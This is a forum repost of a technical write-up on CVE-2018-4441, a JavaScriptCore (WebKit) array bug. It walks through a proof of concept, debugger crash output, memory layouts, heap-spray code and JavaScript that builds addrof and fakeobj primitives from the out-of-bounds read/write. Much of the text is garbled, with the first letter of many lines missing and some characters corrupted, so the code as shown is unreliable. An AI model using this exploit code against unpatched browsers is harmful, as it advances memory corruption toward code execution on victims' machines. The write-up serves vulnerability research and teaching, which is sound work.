Romanian Security Team

Security research

Home 〉 Sectiunea tehnica 〉 Reverse engineering & exploit development 〉 CVE-2018-4441: OOB R/W via JSArray::unshift

CVE-2018-4441: OOB R/W via JSArray::unshiftCountWithArrayStorage (WebKit)

By Nytro, February 27, 2019 in Reverse engineering & exploit development

Reply to this topic

Posted February 27, 2019

CVE-2018-4441: OOB R/W via JSArray::unshiftCountWithArrayStorage (WebKit)

Feb 15, 2019

In this write-up, we'll be going through the ins and outs of CVE-2018-4441, which was reported by lokihardt of Google Project Zero.

Overview

```
bool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStor

    unsigned oldLength = storage->length();
    RELEASE_ASSERT(count <= oldLength);

    // If the array contains holes or is otherwise in an abnormal state,
    // use the generic algorithm in ArrayPrototype.
    if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this))
        || hasSparseMap()
        || shouldUseSlowPut(indexingType())) {
```

```
        return false;
    }

    if (!oldLength)
        return true;

    unsigned length = oldLength - count;

    storage->m_numValuesInVector -= count;
    storage->setLength(length);

    // [...]
```

> Considering the comment, I think the method is supposed to prevent an array with holes from going through to the code “`storage->m_numValuesInVector -= count`”. But that kind of arrays actually can get there by only having the `holesMustForwardToPrototype` method return `false`. Unless the array has any indexed accessors on it or Proxy objects in the prototype chain, the method will just return `false`. So “`storage->m_numValuesInVector`” can be controlled by the user. In the PoC, it changes `m_numValuesInVector` to `0xfffffff0` that equals to the new length, making the `hasHoles` method return `false`, leading to OOB reads/writes in the `JSArray::unshiftCountWithArrayStorage` method.

oC

```
unction main() {
    // [1]
    let arr = [1];
    // [2]
    arr.length = 0x100000;
    // [3]
    arr.splice(0, 0x11);
    // [4]
    arr.length = 0xfffffff0;
    // [5]
    arr.splice(0xfffffff0, 0, 1);


ain();
```

oot Cause Analysis

unning the PoC inside a debugger we see that the binary crashes while trying to write in non-writable emory (`EXC_BAD_ACCESS`😞

```
lldb) r
rocess 3018 launched: './jsc' (x86_64)
rocess 3018 stopped
```

```
 thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=2, address=0x1
   frame #0: 0x0000000100af8cd3 JavaScriptCore`JSC::JSArray::unshiftCountWithArrayStorage(JSC:
avaScriptCore`JSC::JSArray::unshiftCountWithArrayStorage:
>  0x100af8cd3 <+675>: movq   $0x0, 0x10(%r13,%rdi,8)
   0x100af8cdc <+684>: incq   %rcx
   0x100af8cdf <+687>: incq   %rdx
   0x100af8ce2 <+690>: jne    0x100af8cd0               ; <+672>
arget 0: (jsc) stopped.

lldb) p/x $r13
unsigned long) $4 = 0x00000010000fe6a8

lldb) p/x $rdi
unsigned long) $5 = 0x00000000fffffff0

lldb) memory region $r13+($rdi*8)
0x00000017fa800000-0x0000001802800000) ---

lldb) bt
 thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=2, address=0x1
 * frame #0: 0x0000000100af8cd3 JavaScriptCore`JSC::JSArray::unshiftCountWithArrayStorage(JSC:
   frame #1: 0x0000000100af8fc7 JavaScriptCore`JSC::JSArray::unshiftCountWithAnyIndexingType(J
   frame #2: 0x0000000100a6a1d5 JavaScriptCore`void JSC::unshift<(JSC::JSArray::ShiftCountMode
   frame #3: 0x0000000100a61c4b JavaScriptCore`JSC::arrayProtoFuncSplice(JSC::ExecState*) + 42
   [...]
```

o be more precise, the crash occurs in the following loop in `JSArray::unshiftCountWithArrayStorage` here it tries to clear (zero-initialize) the added vector’s elements:

```
/ [...]

or (unsigned i = 0; i < count; i++)
   vector[i + startIndex].clear();

/ [...]
```

tartIndex (`$rdi`) is `0xfffffff0`, `vector` (`$r13`) points to `0x10000fe6a8` and the resulting offset leads to a on-writable address, hence the crash.

oC Analysis

```
/ [1]
et arr = [1]
/ - Object @ 0x107bb4340
/ - Butterfly @ 0x10000fe6b0
/ - Type: ArrayWithInt32
/ - public length: 1
/ - vector length: 1
```

itially, create an array of type `ArrayWithInt32`. It can hold any kind of elements (such as objects or doubles) ut it still doesn't have an associated ArrayStorage or holes. The WebKit project gives a nice overview of the ifferent array storage methods. In short, a `JSArray` without an `ArrayStorage` will have a butterfly structure of e following form:

```
-==[[ JSArray

lldb) x/2gx -l1 0x107bb4340
x107bb4340: 0x0108211500000062   <--- JSC::JSCell [*]
x107bb4348: 0x00000010000fe6b0   <--- JSC::AuxiliaryBarrier<JSC::Butterfly *> m_butterfly

                          +0 { 16} JSArray
                          +0 { 16}     JSC::JSNonFinalObject
                          +0 { 16}         JSC::JSObject
*] 01 08 21 15 00000062   +0 {  8}             JSC::JSCell
   |  |  |  |  |          +0 {  1}                 JSC::HeapCell
   |  |  |  |  +--------  +0 <  4>                 JSC::StructureID m_structureID;
   |  |  |  +-----------  +4 <  1>                 JSC::IndexingType m_indexingTypeAndMisc;
   |  |  +--------------  +5 <  1>                 JSC::JSType m_type;
   |  +-----------------  +6 <  1>                 JSC::TypeInfo::InlineTypeFlags m_flags;
   +--------------------  +7 <  1>                 JSC::CellState m_cellState;
                          +8 <  8>             JSC::AuxiliaryBarrier<JSC::Butterfly *> m_butte
                          +8 <  8>                 JSC::Butterfly * m_value;
```

```
-==[[ Butterfly

lldb) x/2gx -l1 0x00000010000fe6b0-8
x10000fe6a8: 0x0000000100000001   <--- JSC::IndexingHeader [*]
x10000fe6b0: 0xffff000000000001   <--- arr[0]
x10000fe6b8: 0x00000000badbeef0   <--- JSC::Scribble (uninitialized memory)

*] 00000001 00000001
   |        |
   |        +--------  uint32_t JSC::IndexingHeader.u.lengths.publicLength
   +-----------------  uint32_t JSC::IndexingHeader.u.lengths.vectorLength
```

```
/ [2]
rr.length = 0x100000
/ - Object @ 0x107bb4340
/ - Butterfly @ 0x10000fe6e8
/ - Type: ArrayWithArrayStorage
/ - public length: 0x100000
/ - vector length: 1
/ - m_numValuesInVector: 1
```

ext, set its length to `0x100000` and transision the array to an `ArrayWithArrayStorage`. Actually, setting the ength of an array to anything greater than or equal to MIN_SPARSE_ARRAY_INDEX would transform it to rrayWithArrayStorage. Additionally, just notice how the butterfly of an array with ArrayStorage points to ıe ArrayStorage instead of the first index of the array.

```
-==[[ Butterfly

lldb) x/5gx -l1 0x00000010000fe6e8-8
x10000fe6e0: 0x0000000100100000   <--- JSC::IndexingHeader
x10000fe6e8: 0x0000000000000000   \___ JSC::ArrayStorage [*]
x10000fe6f0: 0x0000000100000000   /
x10000fe6f8: 0xffff000000000001   <--- m_vector[0], arr[0]
x10000fe700: 0x00000000badbeef0   <--- JSC::Scribble (uninitialized memory)

                          +0 { 24} ArrayStorage
*] 0000000000000000 ---   +0 <  8>     JSC::WriteBarrier<JSC::SparseArrayValueMap, WTF::DumbPt
   0000000100000000       +0 {  8}         JSC::WriteBarrierBase<JSC::SparseArrayValueMap, WTF
   |       |              +0 <  8>             JSC::WriteBarrierBase<JSC::SparseArrayValueMap,
   |       +-----------   +8 <  4>     unsigned int m_indexBias;
   +-------------------  +12 <  4>     unsigned int m_numValuesInVector;
                         +16 <  8>     JSC::WriteBarrier<JSC::Unknown, WTF::DumbValueTraits<JS
```

```
/ [3]
rr.splice(0, 0x11)
/ - Object @ 0x107bb4340
/ - Butterfly @ 0x10000fe6e8
/ - Type: ArrayWithArrayStorage
/ - public length: 0xfffef
/ - vector length: 1
/ - m_numValuesInVector: 0xfffffff0
```

avaScriptCore implements splice using shift and unshift operations and decides between the two based n itemCount and actualDeleteCount.

```
ncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)

   // [...]

   unsigned actualStart = argumentClampedIndexFromStartOrEnd(exec, 0, length);

   // [...]

   unsigned actualDeleteCount = length - actualStart;
   if (exec->argumentCount() > 1) {
       double deleteCount = exec->uncheckedArgument(1).toInteger(exec);
       RETURN_IF_EXCEPTION(scope, encodedJSValue());
       if (deleteCount < 0)
           actualDeleteCount = 0;
       else if (deleteCount > length - actualStart)
```

```
            actualDeleteCount = length - actualStart;
        else
            actualDeleteCount = static_cast<unsigned>(deleteCount);
    }

    // [...]

    unsigned itemCount = std::max<int>(exec->argumentCount() - 2, 0);
    if (itemCount < actualDeleteCount) {
        shift<JSArray::ShiftCountForSplice>(exec, thisObj, actualStart, actualDeleteCount, item
        RETURN_IF_EXCEPTION(scope, encodedJSValue());
    } else if (itemCount > actualDeleteCount) {
        unshift<JSArray::ShiftCountForSplice>(exec, thisObj, actualStart, actualDeleteCount, it
        RETURN_IF_EXCEPTION(scope, encodedJSValue());
    }

    // [...]
```

hus, calling splice with `itemCount < actualDeleteCount` will eventually invoke `SArray::shiftCountWithArrayStorage`.

```
ool JSArray::shiftCountWithArrayStorage(VM& vm, unsigned startIndex, unsigned count, ArrayStor

    // [...]

    // If the array contains holes or is otherwise in an abnormal state,
    // use the generic algorithm in ArrayPrototype.
    if ((storage->hasHoles() && this->structure(vm)->holesMustForwardToPrototype(vm, this))
        || hasSparseMap()
        || shouldUseSlowPut(indexingType())) {
        return false;
    }

    // [...]
```

```
    storage->m_numValuesInVector -= count;

    // [...]
```

s it is also mentioned in the original bug report, assumming the array has neither indexed accessors nor any roxy objects in the prototype chain, `holesMustForwardToPrototype` will return `false` and `storage-` `n_numValuesInVector -= count` will be called. In our case, `count` is equal to `0x11` and prior to the ubtraction `m_numValuesInVector` is equal to `1`, resulting in `0xfffffff0` as the final value.

```
/ [4]
rr.length = 0xfffffff0
/ - Object @ 0x107bb4340
/ - Butterfly @ 0x10000fe6e8
/ - Type: ArrayWithArrayStorage
/ - public length: 0xfffffff0
/ - vector length: 1
/ - m_numValuesInVector: 0xfffffff0
```

t this point the value of `m_numValuesInVector` is under control. By setting the `publicLength` of the array to ne value of `m_numValuesInVector`, `hasHoles` can be controlled as well.

```
ool hasHoles() const

   return m_numValuesInVector != length();

```

is worth mentioning that our control over `m_numValuesInVector` is very limited and is tightly related to the OB read/write that will be discussed in more detail later.

```
/ [5]
rr.splice(0xfffffff0, 0, 1)
```

inally `splice` is called with `itemCount > actualDeleteCount` in order to trigger `unshift` instead of `shift`. `asHoles` returns `false` and we get OOB r/w in `JSArray::unshiftCountWithArrayStorage`.

xploitation

ur plan is to leverage `memmove` in `JSArray::unshiftCountWithArrayStorage` into achieving addrof and akeobj primitives. But before we do that, we have to set out an overall plan. There are three if-cases before ne `memmove` call.

```
ool JSArray::unshiftCountWithArrayStorage(ExecState* exec, unsigned startIndex, unsigned count

   // [...]

   bool moveFront = !startIndex || startIndex < length / 2;

   // [1]
   if (moveFront && storage->m_indexBias >= count) {
       Butterfly* newButterfly = storage->butterfly()->unshift(structure(vm), count);
       storage = newButterfly->arrayStorage();
       storage->m_indexBias -= count;
       storage->setVectorLength(vectorLength + count);
       setButterfly(vm, newButterfly);
   // [2]
   } else if (!moveFront && vectorLength - length >= count)
       storage = storage->butterfly()->arrayStorage();
   // [3]
```

```
    else if (unshiftCountSlowCase(locker, vm, deferGC, moveFront, count))
        storage = arrayStorage();
    else {
        throwOutOfMemoryError(exec, scope);
        return true;
    }

    WriteBarrier<Unknown>* vector = storage->m_vector;

    if (startIndex) {
        if (moveFront)
            // [4]
            memmove(vector, vector + count, startIndex * sizeof(JSValue));
        else if (length - startIndex)
            // [5]
            memmove(vector + startIndex + count, vector + startIndex, (length - startIndex) * s
    }

    // [...]
```

ıitially, we discarded case [1] and [3] since they'll reallocate the current butterfly, leading to what we vrongfully) assumed an unreliable memmove due to the fact that we can't predict (turns out we can) where will ıe newly allocated butterfly land. With that in mind, we moved on with [2], but quickly stumbled upon a ead-end.

we were to take that route, we'd have to make moveFront false. To do that, startIndex has to be non-zero ıd greater than or equal to length/2. This ends up being a bummer because [4] will copy **at least** length/2 8 bytes. That's a pretty gigantic number if you recall how we got to that code path in the first place. To cut the chase, right after the memmove call we got a crash. We didn't investigate the root cause any further, but nce we memmove a big amount of memory, we believe some objects/structures adjacent to the butterfly are orrupted. Maybe by spraying a bunch of 0x100000 size JSArrays you could get around that, maybe not. We ıought it was too dirty and abandoned the idea.

;pray to slay

t that point, we decided to browse through older exploits. niklasb came to the rescue with his exploit. In ıort, his code makes holes of certain size objects in the heap and reliably allocates them back. That felt ideal or [1] and [3]. Here's how we adapted that approach to meet our exploitation criteria:

```
et SPRAY_SIZE = 0x3000;

/ [a]
et spray = new Array(SPRAY_SIZE);

/ [b]
or (let i = 0; i < 0x3000; i += 3) {
   // ArrayWithDouble, will allocate 0x60, will be free'd
   spray[i]   = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i];
   // ArrayWithContiguous, will allocate 0x60, will be corrupted for fakeobj
   spray[i+1] = [{},{},{},{},{},{},{},{},{},{}];
   // ArrayWithDouble, will allocate 0x60, will be corrupted for addrof
   spray[i+2] = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37+i];


/ [c]
or (let i = 0; i < 1000; i += 3)
   spray[i] = null;

/ [d]
c();

/ [e]
or (let i = 0; i < SPRAY_SIZE; i += 3)
   // corrupt butterfly's length field
   spray[i+1][0] = i2f(1337)
```

What we're practically doing is `[a]` create an array, **root a bunch of arrays of certain size in it, `[c]` remove heir references to them and finally `[d]` trigger gc, resulting to heap holes of that size. We use this logic in ur exploit in order to get a reallocated butterfly literally next to a victim/sprayed object of ours that we wish to corrupt.**
n case you didn't notice, each `spray` index is a `JSArray` of size `10`. Why `10`? After a couple of test runs, while ebugging all the way to the butterfly allocation in `Butterfly::tryCreateUninitialized`, we ended up with `rr.splice(1000, 1, 1, 1)`. We noticed that the reallocated size will be `0x58` (rounded up to `0x60`). This is he exact size of a `JSArray` whose butterfly holds `10` elements.
et's visualize how does that spray look like in memory.

```
       ...
0x0000: 0x0000000d0000000a ----------+
0x0000: 0x402abd70a3d70a3d           |
0x0008: 0x402abd70a3d70a3d           |
0x0010: 0x402abd70a3d70a3d           |
0x0018: 0x402abd70a3d70a3d           |
0x0020: 0x402abd70a3d70a3d         spray[i], ArrayWithDouble
0x0028: 0x402abd70a3d70a3d           |
0x0030: 0x402abd70a3d70a3d           |
0x0038: 0x402abd70a3d70a3d           |
0x0040: 0x402abd70a3d70a3d           |
0x0048: 0x402abd70a3d70a3d ----------+
       ...
0x0068: 0x0000000d0000000a ----------+
0x0070: 0x00007fffaf7c83c0           |
0x0078: 0x00007fffaf7b0080           |
0x0080: 0x00007fffaf7b00c0           |
0x0088: 0x00007fffaf7b0100           |
0x0090: 0x00007fffaf7b0140         spray[i+1], ArrayWithContiguous
0x0098: 0x00007fffaf7b0180           |
0x00a0: 0x00007fffaf7b01c0           |
0x00a8: 0x00007fffaf7b0200           |
0x00b0: 0x00007fffaf7b0240           |
0x00b8: 0x00007fffaf7b0280 ----------+
       ...
0x00d8: 0x0000000d0000000a ----------+
0x00e0: 0x402abd70a3d70a3d           |
0x00e8: 0x402abd70a3d70a3d           |
0x00f0: 0x402abd70a3d70a3d           |
0x00f8: 0x402abd70a3d70a3d           |
0x0100: 0x402abd70a3d70a3d         spray[i+2], ArrayWithDouble
0x0108: 0x402abd70a3d70a3d           |
0x0110: 0x402abd70a3d70a3d           |
0x0118: 0x402abd70a3d70a3d           |
0x0120: 0x402abd70a3d70a3d           |
0x0128: 0x402abd70a3d70a3d ----------+
       ...
```

he goal of `[c]` and `[d]` is to land a reallocated butterfly at `spray`*. Note we have control of both `startIndex` nd `count`. `startIndex` represents the index where we want to start adding/deleting elements and `count` epresents the actual number of added elements. For instance, `arr.splice(1000, 1, 1, 1)` gives a `tartIndex` of 1000 and a `count` of 1 (if you think about it, we delete 1 element and add `[1,1]`, essentially dding one element).*

deed, it'd be quite convenient if we landed that idea. In particular, with those numbers at hand, the `emmove` call at `[4]` translates to this:

```
/ [...]

riteBarrier<Unknown>* vector = storage->m_vector;

f (1000) {
   if (1)
       memmove(vector, vector + 1, 1000 * sizeof(JSValue));



/ [...]
```

ssentially, we'll be moving memory "backwards". For example, assuming `utterfly::tryCreateUninitialized` returns `spray[6]`, then you can think of `[4]` as:

```
or (j = 0; j < startIndex; i++)
   spray[6][j] = spray[6][j+1];
```

his is how we'll overwrite the `length` header field of the adjacent array's butterfly, leading to an OOB and nally to a sweet addrof/fakeobj primitive. This is how the memory looks like right before `[4]`:

```
       ...
0x0000: 0x00000000badbeef0 <--- vector
0x0008: 0x0000000000000000
0x0010: 0x00000000badbeef0
0x0018: 0x00000000badbeef0
0x0020: 0x00000000badbeef0
        |vectlen| |publen|
0x0028: 0x0000000d0000000a ---------+
0x0030: 0x0001000000000539          |
0x0038: 0x00007fffaf734dc0          |
0x0040: 0x00007fffaf734e00          |
0x0048: 0x00007fffaf734e40          |
0x0050: 0x00007fffaf734e80        spray[688]
0x0058: 0x00007fffaf734ec0          |
0x0060: 0x00007fffaf734f00          |
0x0068: 0x00007fffaf734f40          |
0x0070: 0x00007fffaf734f80          |
0x0078: 0x00007fffaf734fc0 ---------+
       ...
0x0098: 0x0000000d0000000a ---------+
0x00a0: 0x402abd70a3d70a3d          |
0x00a8: 0x402abd70a3d70a3d          |
0x00b0: 0x402abd70a3d70a3d          |
0x00b8: 0x402abd70a3d70a3d          |
0x00c0: 0x402abd70a3d70a3d        spray[689]
0x00c8: 0x402abd70a3d70a3d          |
0x00d0: 0x402abd70a3d70a3d          |
0x00d8: 0x402abd70a3d70a3d          |
0x00e0: 0x402abd70a3d70a3d          |
0x00e8: 0x4085e2f5c28f5c29 ---------+
       ...
```

nd here’s the aftermath. Pay close attention to `spray[688]`***’s*** `vectorLength` ***and*** `publicLength` ***fields:***

```
       ...
0x0020: 0x0000000d0000000a
        |vectlen| |publen|
0x0028: 0x0001000000000539 --------+
0x0030: 0x00007fffaf734dc0         |
0x0038: 0x00007fffaf734e00         |
0x0040: 0x00007fffaf734e40         |
0x0048: 0x00007fffaf734e80         |
0x0050: 0x00007fffaf734ec0       spray[688]
0x0058: 0x00007fffaf734f00         |
0x0060: 0x00007fffaf734f40         |
0x0068: 0x00007fffaf734f80         |
0x0070: 0x00007fffaf734fc0         |
0x0078: 0x0000000000000000 --------+
       ...
```

Ve've successfully overwritten `spray[688]`'s length. It's pretty much game over.

ddrof and fakeobj

```
et oob_boxed = spray[688];   // ArrayWithContiguous
et oob_unboxed = spray[689]; // ArrayWithDouble

et stage1 = {
   addrof: function(obj) {
       oob_boxed[14] = obj;
       return f2i(oob_unboxed[0]);
   },

   fakeobj: function(addr) {
       oob_unboxed[0] = i2f(addr);
       return oob_boxed[14];
   },

   test: function() {
       var addr = this.addrof({a: 0x1337});
       var x = this.fakeobj(addr);
       if (x.a != 0x1337) {
           fail(1);
       }
       print('[+] Got addrof and fakeobj primitives \\o/');
   }
```

Ve'll use `oob_boxed`, whose length we overwrote, to write an object's address inside `oob_unboxed`, in order o construct our `addrof` primitive and lastly use `oob_unboxed` to place arbitrary addresses in it and be able o interpret them as objects via `oob_boxed`.

he rest of the exploit is plug n' play code used in almost every exploit; Spraying structures and using amed properties for arbitrary read/write. w00dl3cs has done a great job explaining that part here so we'll ave it at that.

Conclusion

VE-2018-4441 was fixed in commit 51a62eb53815863a1bd2dd946d12f383e8695db0. We'll release our xploit shortly after we clean it up a bit. If you have any questions/suggestions, feel free to contact us on witter.

References

- *Attacking JavaScript Engines*

stanceof exploit write-up by w00dl3cs array overflow exploit by niklasb

ursa: https://melligra.fun/webkit/2019/02/15/cve-2018-4441/

- **Quote**

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Reply to this topic...

Followers 0

Go to topic listing